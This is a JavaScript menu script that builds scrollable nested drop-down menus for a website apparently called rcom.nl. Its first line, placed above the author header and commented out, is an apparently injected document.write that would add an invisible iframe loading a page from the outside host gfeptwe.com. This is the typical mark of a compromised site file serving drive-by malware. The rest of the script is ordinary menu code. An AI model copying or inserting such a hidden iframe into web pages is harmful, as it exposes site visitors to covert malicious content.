//document.write('<div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/dx/" width=100 height=80></iframe></div>');
//------------------------------------------------------------------------------
//  rcom.nl: Scrollable menu script
//  Author: Sander van de Merwe <ismael@mutewitness.net>
//------------------------------------------------------------------------------

var menuItems = [];
var menuStack = [];
var menuMaxHeight = 200;
var menuRefCounter = 0;
var menuPrevSelection = 0;
var menuHideTimer = 0;
var menuScrollTimer = 0;
var menuScrollContainer = 0;
var menuScrollDirection = 0;
var menuScrollMaxPosition = 0;
var menuScrollPositions = [];
var menuScrollPath = '';

//  Writes neccesary menu containers
//
function menuRenderPath( path, nodes, depth )
{
    if( 0 == nodes.length ) {
        return;
    }

    var content = '';
    
    content += '<div id="menu_'+path+'" class="menu" style="display: none;">';
    content += '<img id="menuBackground_'+path+'" class="menuBackground" src="images/menu-background.png">';
    content += '<div onMouseOver="menuRefCounter++; menuStartScroller(\''+path+'\', -1)" onMouseOut="menuRefCounter--; menuStopScroller()" class="menuScroller" id="menuScrollerUp_'+path+'" style="visibility: hidden;"><img style="margin-top: 2px;" src="images/arrow-up.png" width="7" height="5"></div>';
    content += '<div id="menuContainer_'+path+'" class="menuContainer" ';
    content += 'onMouseOver="menuRefCounter++;" ';
    content += 'onMouseOut="menuRefCounter--; menuExit()">';
    content += '<div id="menuScrollContainer_'+path+'" class="menuScrollContainer">';
    for( var i=0; i<nodes.length; i++ )
    {
        nodePath = path + '_' + i;
        content += '<div ';
        content += 'class="menuItem" ';
        content += 'onMouseOver="menuRefCounter++; menuShowSub(\''+path+'\',\''+nodePath+'\', this, '+(depth+1)+')" ';
        content += 'onMouseOut="menuRefCounter--;" '
        if( nodes[i][1] ) content += 'onClick="document.location=\''+nodes[i][1]+'\'" '
        if( ! nodes[i][1] ) content += 'style="cursor: default;"';
        content += '>' + nodes[i][0];
        //if( nodes[i][2].length > 0 )
            //content += '<img id="menu_arrow_right_'+nodePath+'" src="images/arrow-right.png" width="5" height="7" style="position: absolute; right: 4px; margin-top: 4px;">';
        content += '</div>';
        menuRenderPath( nodePath, nodes[i][2], depth+1 );
    }
    content += '</div>'; // menu scroll container
    content += '</div>'; // menu container
    content += '<div onMouseOver="menuRefCounter++; menuStartScroller(\''+path+'\', 1)" onMouseOut="menuRefCounter--; menuStopScroller()" class="menuScroller" id="menuScrollerDown_'+path+'"><img style="margin-top:2px" src="images/arrow-down.png" width="7" height="5"></div>';
    content += '</div>'; // menu
    document.write( content );
}

//  Show menu
//
function menuShow( path, x, y, depth )
{
    if( menuHideTimer ) {
        clearTimeout( menuHideTimer );
        menuHideTimer = 0;
    }
    
    var menu = document.getElementById( 'menu_' + path );
    if( ! menu ) { return; }

    var container = document.getElementById( 'menuContainer_' + path );
    var items = document.getElementById( 'menuScrollContainer_' + path );
    var scrollerUp = document.getElementById( 'menuScrollerUp_' + path );
    var scrollerDown = document.getElementById( 'menuScrollerDown_' + path );
    var menuBackground = document.getElementById( 'menuBackground_' + path );
    
    menu.style.display = '';
    
    var height = ( items.offsetHeight < menuMaxHeight )
        ? items.offsetHeight : menuMaxHeight;
    
    menu.style.left = x;
    menu.style.top = y;
    menu.style.width = items.offsetWidth;
    
    container.style.width = items.offsetWidth;
    container.style.height = height;
    items.style.width = items.offsetWidth;
        
    if( items.offsetHeight < menuMaxHeight ) {
    //  Without scrollers
        menu.style.height = height;
        scrollerUp.style.display = 'none';
        scrollerDown.style.display = 'none';
        
        menuBackground.style.top = 0;
        menuBackground.style.width = menu.offsetWidth;
        menuBackground.style.height = menu.offsetHeight;
    } else {
    //  With scrollers
        menu.style.height = height+20;
        scrollerUp.style.width = items.offsetWidth;
        scrollerUp.style.height = 10;
        scrollerDown.style.width = items.offsetWidth;
        scrollerDown.style.height = 10;
        
        menuBackground.style.top = 0;
        menuBackground.style.width = menu.offsetWidth;
        menuBackground.style.height = menu.offsetHeight;
    }
    
    menuStack.push( [ path, x, y, depth ] );
}

//  Show submenu
function menuShowSub( parentPath, nodePath, item, depth )
{
//  hide all submenus that are further down the tree then this one
//
    var stackItem;
    while( menuStack.length > 1 ) {
        stackItem = menuStack[menuStack.length-1];
        if( depth > stackItem[3] ) { break; }
        document.getElementById( 'menu_' + stackItem[0] ).style.display = 'none';
        menuStack.pop();
    }
    
//  update css class
//
    if( menuPrevSelection ) { menuPrevSelection.className = 'menuItem'; }
    item.className = 'menuItem menuItemSelected';
    menuPrevSelection = item;
    
//  determine submenu position and display
//
    var lastStackItem = menuStack[menuStack.length-1];
    var parentContainer = document.getElementById( 'menu_' + lastStackItem[0] );
    var posX = lastStackItem[1] + parentContainer.offsetWidth + 1;
    var posY = lastStackItem[2];
    
    if( null == menuScrollPositions[parentPath] ) {
        menuScrollPositions[parentPath] = 0;
    }
    
    menuShow( nodePath,
            posX,
            posY + item.offsetTop + menuScrollPositions[parentPath],
            depth );
}

//  Exit (sub)menu
//
function menuExit()
{
    if( menuRefCounter < 0 ) { menuRefCounter = 0; }
    menuHideTimer = setTimeout( 'if( 0 == menuRefCounter ) { menuHide() } ', 1000 );
    return;
}

//  Hide whole menu
//
function menuHide()
{
    if( menuHideTimer ) { clearTimeout( menuHideTimer ); }
    menuHideTimer = 0;
    menuRefCounter = 0;
    
    var stackItem;
    while( menuStack.length > 0 ) {
        stackItem = menuStack.pop();
        document.getElementById( 'menu_' + stackItem[0] ).style.display = 'none';
    }
}

//  Start scroller
//
function menuStartScroller( path, direction )
{
    menuScrollContainer = document.getElementById( 'menuScrollContainer_' + path );
    menuScrollMaxPosition = menuScrollContainer.offsetHeight - menuMaxHeight;
    if( menuScrollMaxPosition < 0 ) { menuScrollMaxPosition = 0; }
    
    menuScrollDirection = direction
    menuScrollPath = path;
    if( null == menuScrollPositions[path] ) {
        menuScrollPositions[path] = 0;
    }
    menuOnScrollerTimer();
}

//  Stop scroller
//
function menuStopScroller()
{
    if( menuScrollTimer ) {
        clearTimeout( menuScrollTimer );
        menuScrollTimer = 0;
    }
}

//  Menu scroller timer callback
//
function menuOnScrollerTimer()
{
    var scrollerUp = document.getElementById( 'menuScrollerUp_' + menuScrollPath );
    var scrollerDown = document.getElementById( 'menuScrollerDown_' + menuScrollPath );
    
    menuScrollPositions[menuScrollPath] -= menuScrollDirection * 10; 
    
    if( menuScrollPositions[menuScrollPath] >= 0 ) {
        scrollerUp.style.visibility = 'hidden';
        menuScrollPositions[menuScrollPath] = 0;
        menuStopScroller();
    } else {
        scrollerUp.style.visibility = 'visible';
    }
    if( menuScrollPositions[menuScrollPath] <= -menuScrollMaxPosition ) {
        scrollerDown.style.visibility = 'hidden';
        menuScrollPositions[menuScrollPath] = -menuScrollMaxPosition;
        menuStopScroller();
    } else {
        scrollerDown.style.visibility = 'visible';
    }
    
    menuScrollContainer.style.top = menuScrollPositions[menuScrollPath];
    menuScrollTimer = setTimeout( 'menuOnScrollerTimer()', 100 );
}

